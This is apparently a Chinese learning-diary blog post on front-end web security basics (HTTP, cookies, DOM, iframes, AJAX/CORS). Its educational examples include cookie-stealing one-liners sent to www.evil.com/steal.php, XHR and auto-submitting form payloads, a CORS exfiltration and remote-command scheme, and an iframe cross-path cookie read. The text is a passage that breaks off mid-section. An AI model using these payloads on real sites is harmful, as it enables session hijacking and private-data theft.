《Web前端黑客技术揭秘》学习日记-前端基础

0xGeekCat · 2020-9-7 · 次阅读


首先,看看这个松散的HTML世界,脚本、样式、图片、多媒体等这些资源如何运作

然后看看号称跨站之魂的JavaScript脚本如何打破这个世界的逻辑,CSS样式如何让这个世界充满伪装

最后看看另一只躲藏在Flash里的“幽灵”,它又是如何辅佐JavaScript的

W3C的世界法则

W3C即万维网联盟,它制定了很多推荐标准,比如:HTML、XML、JavaScript、CSS等,是这些标准让Web世界变得标准和兼容。浏览器遵循这些标准去实现自己的各种解析引擎,Web厂商同样遵循这些标准去展示自己的Web服务。如果没有W3C,那么这个Web世界将一片混乱

由于W3C制定的是推荐标准,很多时候网站并没严格按照这些标准执行,但是却能比较好地呈现出来。而浏览器的实现也不一定完全遵循标准,甚至可能冒出一个自己的方案,这个现象可以在微软的IE浏览器与Mozilla的Firefox浏览器中随处发现,这也是前端设计师们经常苦恼的“不兼容”问题,导致出现了各种Hack技术,这些Hacks就是为了解决这些不兼容问题而出现的

为了解决CSS兼容性而发展的CSS Reset技术,该技术会重置一些样式,这些样式在不同的浏览器中有不同的呈现,后续的CSS将在这个基础上重新开始定义自己的样式

再如为了解决JavaScript兼容性,诞生了许多优秀的JavaScript框架,如jQuery、YUI等,使用这些框架提供的API,就可以很好地在各个主流浏览器上得到一致的效果

Web世界在进步,标准化也越来越被重视。W3C的标准设计就安全了吗?浏览器遵循W3C标准的实现就完美了吗?浏览器之间的这些差异可能导致多少安全风险的出现?

👇Web安全事件的角色

  • W3C
  • 浏览器厂商
  • Web厂商
  • 攻击者
  • 被攻击者

解决方案的参与者除了攻击者以外,其他都需要参与,这是一个因果循环,如果W3C的标准制定具有安全缺陷,那么遵循标准去实现的浏览器厂商与Web厂商都将带进这些安全缺陷,或者W3C标准没安全缺陷,而浏览器厂商或者Web厂商实现上存在缺陷,那么安全事件照样发生,而如果被攻击者能有比较好的安全意识或防御方案,那么安全事件也很难发生

URL

URL是互联网最伟大的创意之一,它也被称为链接,通过URL请求可以查找到唯一的资源

👇格式 & 对应关系

<scheme>://<netloc>/<path>?<query>#<fragment>

http://www.foo.com/path/f.php?id=1&type=cool#new
<scheme> - http
<netloc> - www.foo.com
<path> - /path/f.php
<query> - id=1&type=cool,包括<参数名=参数值>对
<fragment> - new

对于需要HTTP Basic认证的URL请求,甚至可以将用户名与密码直接放入URL中,位于<netloc>之前

http://username:password@www.foo.com/

我们接触最多的是HTTP/HTTPS协议的URL,这是Web安全的入口点,各种安全威胁都是伴随着URL的请求而进行的,如果客户端到服务端各层的解析没做好,就可能出现安全问题

URL有个重点就是编码方式

  • escape
  • encodeURI
  • encodeURIComponent

对应的解码函数

  • unescape
  • decodeURI
  • decodeURIComponent

这三个编码函数是有差异的,甚至浏览器在自动URL编码中也存在差异

HTTP协议

URL的请求协议几乎都是HTTP,它是一种无状态的请求响应,即每次请求响应之后,连接会立即断开或延时断开(保持一定的连接有效期),断开后下一次请求再重新建立

👇对http://www.foo.com/发起一个GET请求

screenshot

服务器的响应

screenshot 1

请求与响应一般都分为头部与体部,它们之间以空行分隔。请求体一般出现在POST方法中,比如表单的键值对。响应体就是在浏览器中看到的内容,比如,HTML/JSON/JavaScript/XML等。这里的重点在这个头部,头部的每一行都有自己的含义,key与value之间以冒号分隔

👇请求头中的几个关键点

GET http://www.foo.com/HTTP/1.1

常见的请求方法有GET/POST,最后的HTTP/1.1表示1.1版本的HTTP协议,更早的版本有1.0、0.9

Host: www.foo.com

表明请求的主机是什么

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.3 Safari/535.19

User-Agent用于表明身份。从这里可以看到操作系统、浏览器、浏览器内核及对应的版本号等信息

Referer: http://www.baidu.com/

Referer表明从哪里来,比如从http://www.baidu.com/页面点击过来

Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1

HTTP是无状态的,那么每次在连接时,服务端如何知道你是上一次的那个?这里通过Cookies进行会话跟踪,第一次响应时设置的Cookies在随后的每次请求中都会发送出去。Cookies还可以包括登录认证后的身份信息

👇响应头中的几个关键点

HTTP/1.1 200 OK

200是状态码,OK是状态描述

Server: Apache/2.2.8 (Win32) PHP/5.2.6

上述语句透露了服务端的一些信息:Web容器、操作系统、服务端语言及对应的版本

X-Powered-By: PHP/5.2.6

这里也透露了服务端语言的信息

Content-Length: 3635

响应体的长度

Content-Type: text/html;charset=gbk

响应资源的类型与字符集。针对不同的资源类型会有不同的解析方式,这个会影响浏览器对响应体里的资源解析方式,可能因此带来安全问题。字符集也会影响浏览器的解码方式,同样可能带来安全问题

Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/; domain=.foo.com; HttpOnly; Secure
Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.foo.com

每个Set-Cookie都设置一个Cookie

  • expires:过期时间,如果过期时间是过去,那就表明这个Cookie要被删
  • path:相对路径,只有这个路径下的资源可以访问这个Cookie
  • domain:域名,有权限设置为更高一级的域名
  • HttpOnly:标志(默认无,如果有的话,表明Cookie存在于HTTP层面,不能被客户端脚本读取
  • Secure:标志(默认无,如果有的话,表明Cookie仅通过HTTPS协议进行安全传输

松散的HTML世界

HTML里可以有脚本、样式等内容的嵌入,以及图片、多媒体等资源的引用。我们看到的网页就是一个HTML文档

screenshot 2

❓为什么说HTML的世界是松散的

HTML是由众多标签组成的,标签内还有对应的各种属性

  • 这些标签可以不区分大小写,有的可以不需要闭合
  • 属性的值可以用单引号、双引号、反单引号包围住,甚至不需要引号
  • 多余的空格与Tab毫不影响HTML的解析
  • HTML里可以内嵌CSS、JavaScript等内容,而不强调分离…

松散有松散的好处,但这样却培养出了一种惰性,很多前端安全问题就是因为松散导致的

DOM树

DOM树对于Web前端安全来说非常重要,很多数据都存在于DOM树中,通过DOM树的操作可以非常容易地获取到隐私数据。其实HTML文档就是一个DOM树

👆那段HTML用树形结构描述

screenshot 3

<html>是树根,其他都是树的每个节点。这里约定标签节点以<xxx>表示,属性节点以@xxx表示,而文本节点以xxx表示

隐私数据可能存储在👇位置

  • HTML内容中
  • 浏览器本地存储中,如Cookies等
  • URL地址中

iframe内嵌出一个开放的世界

iframe标签是HTML中一个非常重要的标签,也是Web安全中出镜频率最高的标签之一,很多网站都通过iframe嵌入第三方内容

👇嵌入广告页面

screenshot 4

还有Web 2.0网站中嵌入的许多第三方Web游戏与应用,都有使用到iframe。iframe标签带来了很多便利,同时也带来了很多风险,比如攻击者入侵一个网站后,可以通过iframe嵌入自己的网马页面,用户访问该网站后,被嵌入的网马页面就会执行,这就是由信任关系导致的安全问题

iframe标签还有一些有趣的安全话题,当网站页面使用iframe方式嵌入一个页面时,约定网站页面是父页,而被嵌入的这个页面是子页

❓父页与子页之间如何跨文档读写数据

screenshot 5

如果父页和子页之间是同域,父页可以通过调用子页的contentWindow来操作子页的DOM树,同理子页可以调用父页的contentWindow来操作父页的DOM树。如果它们不同域,则必须遵守同源策略,但子页还是可以对父页的location值进行写操作,这样可以让父页重定向到其他网页,不过对location的操作仅仅只有写权限,而没有读权限,这样就不能获取到父页location URL的内容,否则有可能会造成隐私数据泄漏,比如有的网站将身份认证token存在于URL中

HTML内嵌脚本执行

JavaScript脚本除了出现在JavaScript格式文件里,还可以出现在👇情况中

  • HTML的<script></script>标签内
  • HTML的标签on事件中
  • 一些标签的href、src等属性的伪协议(javascript:等)中

screenshot 6

这导致防御XSS变得有些棘手,出现在DOM树的不同位置,面对的防御方案都不太一样。这也为攻击者提供了很大便利,能够执行JavaScript的位置越多,意味着XSS发生的面也越广,XSS漏洞出现的可能性也越大

跨站之魂JavaScript

在Web前端安全中,JavaScript控制了整个前端的逻辑,通过JavaScript可以完成许多操作

❓用户在网站上都有哪些操作

首先提交内容,然后可以编辑与删除,这些JavaScript几乎都可以完成,为什么是“几乎”?因为碰到提交表单需要验证码的情况,JavaScript就不行了,虽然有HTML5的canvas来辅助,不过效果并不会好

对跨站师来说,大多数情况下有了XSS漏洞,就意味着可以注入任意的JavaScript,有了JavaScript,就意味着被攻击者的任何操作都可以模拟,任何隐私信息都可以获取到。可以说JavaScript就是跨站之魂

DOM树操作

获取HTML内容中的隐私数据

👇要获取的隐私数据是用户的私信内容

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<div>a</div>
<div>b</div>
<div id="private_msg">
    隐私数据在这
</div>
</body>
</html>

在这个DOM树中,id="private_msg"的标签节点包含用户的私信内容,通过JavaScript可以非常简单地获取

document.getElementById('private_msg').innerHTML;

document对象代表整个DOM,getElementById函数可以获取指定id号的标签对象,这些标签对象都有一个属性innerHTML,表示标签对象内的HTML数据内容

❓如果没id号怎么办

稍微麻烦点可还是非常简单,包含隐私数据的div标签是DOM树从上到下的第3个

document.getElementsByTagName('div')[2].innerHTML;

这时用到的函数是getElementsByTagName,接收标签名参数,返回一个数组,数组下标从0开始,于是第3个表示为[2]

获取浏览器的Cookies数据

Cookies中保存了用户的会话信息,通过document.cookie可以获取到,不过并不是所有的Cookies都可以获取

获取URL地址中的数据

window.locationlocation处可获取URL地址中的数据。除了获取数据,还有通过DOM操作生成新的DOM对象或移除DOM对象

AJAX风险

AJAX简直就是前端黑客攻击中必用的技术模式,全称为Asynchronous JavaScript And XML,即异步的JavaScript与XML

👇AJAX的三个重点

  • 异步
  • JavaScript
  • XML

异步可以理解为单独开启一个线程,独立于浏览器主线程去做自己的事,这样浏览器就不会等待(阻塞),异步在后台悄悄进行,所以利用AJAX的攻击显得很诡异,无声无息。AJAX本身就是由JavaScript构成的,只是XML并不是必需的,XML在这是指数据传输格式是XML,比如,AJAX发出去的HTTP请求,响应回的数据是XML格式,然后JavaScript去解析这个XML DOM树得到相应节点的内容。其实响应回的数据格式还可以是JSON(主流)、文本、HTML等。AJAX中特别提到XML是因为历史原因

AJAX的核心对象是XMLHttpRequest(一般简称为xhr),IE 7之前的浏览器不支持xhr对象,而是通过ActiveXObject来实现

👇xhr实例化

var xmlhttp;
if (window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest() // IE 7+ Firefox, Chrome, Opera, Safari...
} else {
    xmlhttp = new ActiveXObject('Microsoft.XMLHttp') // IE 6 IE 5
}

实例化后设置好回调,然后发送HTTP请求需要的头部与参数键值,待响应成功后会触发该回调,回调函数就可以处理响应回来的数据

❗️不是任何请求头都可以通过JavaScript进行设置,否则前端的逻辑世界就乱了,W3C给出了一份头部黑名单

screenshot 7

这个黑名单是不完备的,也有一些技巧可以绕过黑名单,导致可以任意提交Referer/User-Agent/Cookie等头部值

响应回的数据也包括头部与体部,通过getResponseHeader函数可以获得指定的响应头,除了Set-Cookie/Set-Cookie2(其中可能设置了HttpOnly标志的Cookie,表示严禁客户端脚本读取)等。更方便的是可以通过getAllResponseHeaders获取所有合法的响应头

AJAX是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域

不过有一种情况,可以发送数据到另一个域,W3C的新标准中,CORS(Cross-Origin Resource Sharing)开始推进浏览器支持跨域方案,现在的浏览器都支持这个方案

👇跨源过程

www.foo.com(来源域)的AJAX向www.evil.com(目标域)发起了请求,浏览器会给自动带上Origin头

Origin: http://www.foo.com

然后目标域要判断这个Origin值,如果是预期的,那么就返回👇表示同意跨域

Access-Control-Allow-Origin: http://www.foo.com

如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限错误

screenshot 8

IE不使用XMLHttpRequest对象,而是自己的XDomainRequst对象,实例化后使用方式与XMLHttpRequest基本一致

👇让CORS方案兼容

function createCORSRequest(method, url) {
    var xhr = new XMLHttpRequest()
    if ('withCredentials' in xhr) {
        xhr.open(method, url, true)
    } else if (typeof XDomainRequest !== 'undefined') {
        xhr = new XDomainRequest(); // IE
        xhr.open(method, url)
    } else {
        xhr = null
    }
    return xhr
}

var request = createCORSRequest('get', 'http://www.evil.com/steal.php?data=456')
if (request) {
    request.onload = function () { // 请求成功后
        alert(request.responseText) // 弹出响应的数据
    }
    request.send() // 发送请求
}

👆代码存放在www.foo.com域上,跨域往目标域发起请求,👇目标域steal.php的代码

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
//...
?>

❓根据这些简陋的代码,可以丰富一下,想想适合怎样的攻击场景

有一个实时远控的场景,可以将源头域上的隐私数据(每3秒)跨域提交到目标域上,并获取目标域响应的内容,这样的内容可以动态生成,也可以是JavaScript指令,然后在源头域上被eval等方式动态执行

❓如果目标域不设置Access-Control-Allow-Origin: http://www.foo.com,那么隐私数据会不会被偷到

答案是肯定的。虽然浏览器会报权限错误的问题,但实际上隐私数据已经被目标域的steal.php接收到

❗️默认情况下,这样的跨域无法带上目标域的会话(Cookies等),需要设置xhr实例的withCredentials属性为true(IE还不支持)

同时目标域的steal.php必须设置👇

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
header("Access-Control-Allow-Credentials: true"); // 允许跨域证书发送
//...
?>

❗️如果设置Access-Control-Allow-Credentials: true,那么Access-Control-Allow-Origin就不能设置为*通配符,这也是浏览器为了安全进行的考虑

有了CORS机制,跨域就变得特别方便;但该功能要慎重使用,否则后果会很严重

模拟用户发起浏览器请求

在浏览器中用户发出的请求基本上都是HTTP协议里的GET与POST方式。对于GET方式,实际上就是一个URL

//新建一个img标签对象,对象的src属性指向目标地址
new Image().src="http://www.evil.com/steal.php"+escape(document.cookie);
//在地址栏里打开目标地址
location.href="http://www.evil.com/steal.php"+escape(document.cookie);

原理是相通的,通过JavaScript动态创建iframe/frame/script/link等标签对象,然后将它们的src或href属性指向目标地址即可。

对于POST的请求,XMLHttpRequest对象就是一个非常方便的方式,可以模拟表单提交,它有异步与同步之分,差别在于XMLHttpRequst实例化的对象xhr的open方法的第三个参数

  • true表示异步
  • false表示同步

如果使用异步方式,就是AJAX。异步则表示请求发出去后,JavaScript可以去做其他事情,待响应回来后会自动触发xhr对象的onreadystatechange事件,可以监听这个事件以处理响应内容。同步则表示请求发出去后,JavaScript需要等待响应回来,这期间就进入阻塞阶段

👇一段同步的示例

xhr = function () {
    var request = false;
    if (window.XMLHttpRequest) {
        request = new XMLHttpRequest()
    } else if (window.ActiveXObject) {
        try {
            request = new window.ActiveXObject('Microsoft.XMLHttp')
        } catch (e) {
            throw e
        }
    }

    return request
}();

request = function (method, src, argv, content_type) {
    xhr.open(method, src, false); // 同步方法初始化一个请求
    if (method === 'POST')
        xhr.setRequestHeader('Content-Type', content_type)

    xhr.send(argv) // 发送POST数据
    return xhr.responseText // 返回响应内容
}

attack_a = function () {
    var src = 'http://www.evil.com/steal.php'
    var argv_0 = '&name1=value1&name2=value2'
    request('POST', src, argv_0, 'application/x-form-urlencoded')
}

attack_a()

POST表单提交的Content-Typeapplication/x-www-form-urlencoded一种默认的标准格式。还有一种比较常见multipart/form-data一般出现在有文件上传的表单中

xhr = function () {
    var request = false;
    if (window.XMLHttpRequest) {
        request = new XMLHttpRequest()
    } else if (window.ActiveXObject) {
        try {
            request = new window.ActiveXObject('Microsoft.XMLHttp')
        } catch (e) {
            throw e
        }
    }

    return request
}();

request = function (method, src, argv, content_type) {
    xhr.open(method, src, false); // 同步方法
    if (method === 'POST')
        xhr.setRequestHeader('Content-Type', content_type)

    xhr.send(argv) // 发送POST数据
    return xhr.responseText // 返回响应内容
}

attack_a = function () {
    var src = 'http://www.evil.com/steal.php'
    var name1 = "value1";
    var name2 = "value2";
    var argv_0 = "\r\n";
    argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"name1\"\r\n\r\n";
    argv_0 += (name1+"\r\n");
    argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"name2\"\r\n\r\n";
    argv_0 += (name2+"\r\n");
    argv_0 += "---------------------7964f8dddeb95fc5--\r\n";
    request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}

attack_a()

除了通过xhr对象模拟表单提交外,还有一种比较原始的方式,form表单自提交。原理是通过JavaScript动态创建一个form,并设置好form中的每个input键值,然后对form对象做submit()操作

function new_form() {
    var f = document.createElement('form')
    document.body.appendChild(f)
    f.method = 'post'
    return f
}

function create_elements(eForm, eName, eValue) {
    var e = document.createElement('input')
    eForm.appendChild(e)
    e.type = 'text'
    e.name = eName
    e.value = eValue
    return e
}

var _f = new_form() // 创建form对象
create_elements(_f, 'name1', 'value1') // 创建form中input对象
create_elements(_f, 'name2', 'value2')
_f.action = 'http://www.evil.com/steal.php'
_f.submit() // 提交

介绍了好几种模拟用户发起浏览器请求的方法,其用处很大且使用很频繁。前端黑客攻击中,比如XSS经常需要发起各种请求,如盗取Cookies、蠕虫攻击等,👆几种方式都是XSS攻击常用的,而最后一个表单自提交方式经常用于CSRF攻击中

Cookie安全

Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie。大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie

由于这样的机制,Cookie经常被用来存储用户的会话信息,比如用户登录认证后的Session ID,之后在同域内发出的请求都会带上认证后的会话信息,这非常方便

🔔攻击者就特别喜欢盗取Cookie,这相当于盗取了目标网站上的用户权限

Cookie的重要字段

[name][value][domain][path][expires][httponly][secure]
[名称][值][所属域名][所属相对根路径][过期时间][HttpOnly标志][Secure标志]

👆这些字段用好了,Cookie就是安全的

子域Cookie机制

设置Cookie时,如果不指定domain的值,默认就是本域

例如a.foo.com域通过JavaScript设置Cookie

document.cookie="test=1";

那么domain值默认为a.foo.com。有趣的是a.foo.com域设置Cookie时,可以指定domain为父级域

document.cookie="test=1;domain=foo.com";

此时domain就变为foo.com

  • 这样带来的好处就是可以在不同的子域共享Cookie,
  • 坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie

另外这个机制不允许设置Cookie的domain为下一级子域或其他外域

路径Cookie机制

设置Cookie时,如果不指定path值,默认就是目标页面的路径

例如a.foo.com/admin/index.php页面通过JavaScript来设置Cookie

document.cookie="test=1";

👆path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie

❓那么有什么办法跨路径读取Cookie

比如/evil/路径想读取/admin/路径的Cookie。很简单通过跨iframe进行DOM操作即可

👇/evil/路径下页面的代码

xc = function (src) {
    var o = document.createElement('iframe')
    o.src = src
    document.getElementsByTagName('body')[0].appendChild(o)
    o.onload = function () {
        var d = o.contentDocument || o.contentWindow.document
        alert(d.cookie)
    }
}('http://a.foo.com/admin/index.php')

所以通过设置path不能防止重要的Cookie被盗取

HttpOnly Cookie机制

HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie

以PHP setcookie为例,httponly.php文件代码👇